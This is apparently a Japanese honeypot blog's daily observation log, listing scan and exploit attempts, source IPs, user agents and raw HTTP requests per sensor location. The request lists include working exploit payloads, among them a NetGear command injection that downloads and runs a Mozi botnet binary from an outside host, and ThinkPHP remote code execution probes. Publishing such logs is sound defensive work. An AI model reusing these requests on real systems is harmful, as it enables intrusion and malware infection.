コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2021/01/26 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2021/01/26分です。

特徴
Location：JP

PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
/.envへのスキャン行為
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
WordPress Pluginへのスキャン行為
110[.]242[.]68[.]4に関する不正通信
を確認しました。

Location：US

GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
WordPress Pluginへのスキャン行為
110[.]242[.]68[.]4に関する不正通信
Gh0stRATのような動き
を確認しました。

Location：UK

GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
Joomla!へのスキャン行為
phpMyAdminへのスキャン行為
WordPress Pluginへのスキャン行為
110[.]242[.]68[.]4に関する不正通信
UserAgentがHello, Worldであるアクセス
を確認しました。

Location：SG

GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
ZmEuによるスキャン行為
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
phpMyAdminへのスキャン行為
WordPress Pluginへのスキャン行為
110[.]242[.]68[.]4に関する不正通信
UserAgentがHello, Worldであるアクセス
を確認しました。

他
アクセス数推移

JP：総アクセス数：74 (前日比：-117)
US：総アクセス数：64 (前日比：-9)
UK：総アクセス数：154 (前日比：+85)
SG：総アクセス数：97 (前日比：-86)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
3 8.210.158.151 Singapore
1 37.46.150.7 Netherlands
2 45.143.147.38 United States
10 45.155.205.108 Russia
3 47.95.117.229 China
1 51.104.242.82 United Kingdom
1 52.233.46.178 United States
1 54.169.174.226 United States
1 59.173.154.131 China
1 94.232.47.170 Russia
1 112.80.39.166 China
2 159.203.100.104 United States
4 164.52.24.163 China
1 172.105.77.209 United States
1 178.72.68.66 Russia
1 198.12.249.38 United States
1 199.187.211.203 United States
33 207.180.194.90 Germany
2 209.141.60.195 United States
1 221.213.75.216 China
3 223.244.236.73 China

UserAgent一覧

件数 UserAgent
18 -
1 Mozilla/4.01687919 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; Media Center PC 6.0)
2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
10 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
33 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
5 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
4 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
1 PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 \x03
2 \x16\x03\x01
2 \x16\x03\x01\x01\"\x01
1 CONNECT www[.]baidu[.]com/:443 HTTP/1.1
8 GET /.env HTTP/1.1
1 GET /18.179.20.5/.env HTTP/1.1
1 GET /2018/.env HTTP/1.1
1 GET /2019/.env HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /admin/.env HTTP/1.1
1 GET /api/.env HTTP/1.1
1 GET /app/.env HTTP/1.1
1 GET /app/config/.env HTTP/1.1
1 GET /apps/.env HTTP/1.1
1 GET /audio/.env HTTP/1.1
1 GET /backend/.env HTTP/1.1
1 GET /base/.env HTTP/1.1
1 GET /blog/.env HTTP/1.1
1 GET /cgi-bin/.env HTTP/1.1
1 GET /conf/.env HTTP/1.1
4 GET /config/getuser?index=0 HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /core/.env HTTP/1.1
1 GET /crm/.env HTTP/1.1
1 GET /database/.env HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
3 GET /jenkins/login HTTP/1.0
1 GET /laravel/.env HTTP/1.1
1 GET /local/.env HTTP/1.1
3 GET /login HTTP/1.0
3 GET /manager/html HTTP/1.0
1 GET /manager/html/ HTTP/1.0
1 GET /new/.env HTTP/1.1
1 GET /newsite/.env HTTP/1.1
1 GET /old/.env HTTP/1.1
1 GET /protected/.env HTTP/1.1
1 GET /public/.env HTTP/1.1
1 GET /sites/all/libraries/mailchimp/.env HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /src/.env HTTP/1.1
1 GET /storage/.env HTTP/1.1
1 GET /vendor/.env HTTP/1.1
1 GET /vendor/laravel/.env HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /wp-admin/.env/library/.env HTTP/1.1
1 GET /wp-content/.env HTTP/1.1
1 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 GET /www/.env HTTP/1.1
1 HEAD / HTTP/1.0
1 HEAD http[:]//110[.]242[.]68[.]4/ HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
1 POST /api/jsonws/invoke HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 1.202.112.119 China
1 1.202.113.79 China
3 5.196.67.45 France
1 27.211.58.186 China
3 39.99.187.125 China
3 39.108.146.49 China
10 45.155.205.108 Russia
1 47.98.162.210 China
3 47.100.108.170 China
3 47.101.67.128 China
1 47.114.121.183 China
2 52.42.85.68 United States
3 54.180.95.76 United States
3 62.234.36.161 China
1 66.240.205.34 United States
1 103.28.70.87 United States
1 116.75.214.169 India
3 118.26.39.100 Hong Kong
3 120.25.203.210 China
1 121.46.25.189 China
1 123.163.114.14 China
1 124.235.138.107 China
1 124.235.138.237 China
1 149.28.81.44 United States
1 157.245.102.180 United States
1 159.203.100.104 United States
1 167.99.128.155 United States
1 172.93.102.236 United States
1 172.105.77.209 United States
1 175.184.165.188 China
1 179.43.140.152 Panama
1 193.56.28.109 United Kingdom
2 209.141.60.195 United States
1 213.32.35.7 France
1 220.200.167.88 China

UserAgent一覧

件数 UserAgent
33 -
2 Mozilla 5/0
1 Mozilla/4.0 (compatible; MSIE 8.0; Win32)
1 Mozilla/4.01687919 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; Media Center PC 6.0)
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:83.0) Gecko/20100101 Firefox/83.0
1 Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
10 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
3 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
3 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
1 Mozilla/5.01694878 Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.2) Gecko/20100115 Firefox/3.6 GTBDFff GTB7.0
1 Mozilla/5.01719037 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
4 PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 Gh0st\xad
4 CONNECT www[.]baidu[.]com/:443 HTTP/1.1
5 GET /.env HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /auth/a.php HTTP/1.1
1 GET /boaform/admin/formLogin?username=user&psd=user HTTP/1.0
3 GET /config/getuser?index=0 HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
9 GET /jenkins/login HTTP/1.0
9 GET /login HTTP/1.0
9 GET /manager/html HTTP/1.0
1 GET /manager/html/ HTTP/1.1
1 GET /manager/html/ HTTP/1.0
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /vendor/phpunit/phpunit/phpunit.xml HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 HEAD /robots.txt HTTP/1.0
4 HEAD http[:]//110[.]242[.]68[.]4/ HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /api/jsonws/invoke HTTP/1.1
2 POST /boaform/admin/formLogin HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
3 8.136.107.42 Singapore
3 35.240.138.40 United States
1 36.32.3.81 China
10 45.155.205.108 Russia
3 47.93.61.41 China
1 79.124.62.254 Bulgaria
1 106.55.16.33 China
1 111.92.80.255 India
1 112.66.100.52 China
1 115.55.152.91 China
1 121.57.228.209 China
101 121.232.67.217 China
1 121.237.168.30 China
1 150.107.118.172 India
1 159.203.100.104 United States
1 162.0.239.252 United States
1 172.105.77.209 United States
1 179.43.140.152 Panama
1 182.138.137.244 China
1 185.165.190.106 Seychelles
14 200.105.133.190 Bolivia
2 209.141.60.195 United States
1 220.130.157.240 Taiwan
1 220.200.167.57 China
1 222.158.198.238 Japan

UserAgent一覧

件数 UserAgent
14 -
1 Hello, World
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:83.0) Gecko/20100101 Firefox/83.0
101 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
10 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
3 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
1 Mozilla/5.0 Gecko/20100101
1 Mozilla/5.01669615 Mozilla/5.0 (Linux; Android 5.1; S900PROBT Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Safari/537.36
2 Mozilla/5.01682558 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/537.36(KHTML, like Gecko) Chrome/40.0.2214.89 Safari/537.36
3 PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3
14 Python-urllib/2.7

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 \x03
3 CONNECT www[.]baidu[.]com/:443 HTTP/1.1
1 GET /.env HTTP/1.1
1 GET //administrator HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /Joomla/administrator HTTP/1.1
1 GET /administrator/ HTTP/1.1
1 GET /cms/administrator HTTP/1.1
3 GET /config/getuser?index=0 HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
3 GET /jenkins/login HTTP/1.0
1 GET /jenkins/script HTTP/1.1
1 GET /jmx-console HTTP/1.1
1 GET /joomla/administrator HTTP/1.1
1 GET /js/ HTTP/1.1
1 GET /login HTTP/1.1
3 GET /login HTTP/1.0
1 GET /magento/ HTTP/1.1
2 GET /manager/html HTTP/1.1
3 GET /manager/html HTTP/1.0
1 GET /manager/html/ HTTP/1.1
2 GET /manager/html/ HTTP/1.0
1 GET /msd HTTP/1.1
101 GET /phpmyadmin/ HTTP/1.1
1 GET /script HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//111[.]92[.]80[.]255:48821/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /status?full=true HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
3 HEAD http[:]//110[.]242[.]68[.]4/ HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
1 POST /api/jsonws/invoke HTTP/1.1
2 POST /boaform/admin/formLogin HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 1.202.113.80 China
1 3.85.220.167 United States
1 31.7.62.112 Panama
1 37.46.150.7 Netherlands
3 39.96.165.202 China
1 45.79.166.13 United States
2 45.143.147.38 United States
10 45.155.205.108 Russia
3 47.97.24.99 China
3 47.105.213.251 China
1 61.18.112.48 Hong Kong
1 61.53.87.172 China
3 68.183.193.112 United States
4 71.6.199.23 United States
1 74.124.24.17 United States
1 94.232.47.160 Russia
3 106.13.62.211 China
11 111.93.151.162 India
1 113.206.177.159 China
1 115.238.65.122 China
1 118.24.121.69 China
3 123.57.216.131 China
1 124.227.31.7 China
1 135.181.53.40 Germany
2 159.203.100.104 United States
4 164.52.24.163 China
1 178.238.8.10 United Kingdom
3 178.238.8.58 United Kingdom
1 185.165.190.106 Seychelles
1 194.61.55.248 Russia
24 209.141.58.232 United States
1 209.141.60.195 United States
1 220.200.165.234 China

UserAgent一覧

件数 UserAgent
30 -
1 Go-http-client/1.1
1 Hello, World
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
10 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
11 Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
9 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
3 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
1 Mozilla/5.01715179 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36 OPR/55.0.2994.44
2 PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3
24 ZmEu

リクエスト内容一覧

件数 Method Request Protocol
1 -
2 \x03
2 \x16\x03\x01
2 \x16\x03\x01\x01\"\x01
2 CONNECT www[.]baidu[.]com/:443 HTTP/1.1
10 GET /.env HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /MyAdmin/scripts/setup.php HTTP/1.1
1 GET /PMA/scripts/setup.php HTTP/1.1
1 GET /TP/html/public/index.php HTTP/1.1
1 GET /TP/index.php HTTP/1.1
3 GET /TP/public/index.php HTTP/1.1
1 GET /admin/pma/scripts/setup.php HTTP/1.1
1 GET /admin/scripts/setup.php HTTP/1.1
3 GET /config/getuser?index=0 HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /db-admin/scripts/setup.php HTTP/1.1
1 GET /elrekt.php HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET /html/public/index.php HTTP/1.1
1 GET /index.php HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
1 GET /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1
6 GET /jenkins/login HTTP/1.0
6 GET /login HTTP/1.0
6 GET /manager/html HTTP/1.0
1 GET /myadmin/scripts/setup.php HTTP/1.1
1 GET /mysql/db/scripts/setup.php HTTP/1.1
1 GET /php-my-admin/scripts/setup.php HTTP/1.1
1 GET /phpMyAdmi/scripts/setup.php HTTP/1.1
1 GET /phpMyAdmin-2/scripts/setup.php HTTP/1.1
1 GET /phpMyAdmin-3/scripts/setup.php HTTP/1.1
1 GET /phpMyAdmin/scripts/setup.php HTTP/1.1
1 GET /phpMyAdmin2/scripts/setup.php HTTP/1.1
1 GET /phpMyAdmin3/scripts/setup.php HTTP/1.1
1 GET /phpMyAdminold/scripts/setup.php HTTP/1.1
1 GET /phpmanager/scripts/setup.php HTTP/1.1
1 GET /phpmy-admin/scripts/setup.php HTTP/1.1
1 GET /phpmy/scripts/setup.php HTTP/1.1
1 GET /phpmyadmin/scripts/setup.php HTTP/1.1
1 GET /phpmyadmin1/scripts/setup.php HTTP/1.1
1 GET /pma/scripts/setup.php HTTP/1.1
1 GET /public/index.php HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /scripts/setup.php HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /sql/scripts/setup.php HTTP/1.1
1 GET /thinkphp/html/public/index.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1
1 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 HEAD / HTTP/1.0
2 HEAD http[:]//110[.]242[.]68[.]4/ HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
1 POST /api/jsonws/invoke HTTP/1.1
2 POST /boaform/admin/formLogin HTTP/1.1
1 POST /index.php?s=captcha HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1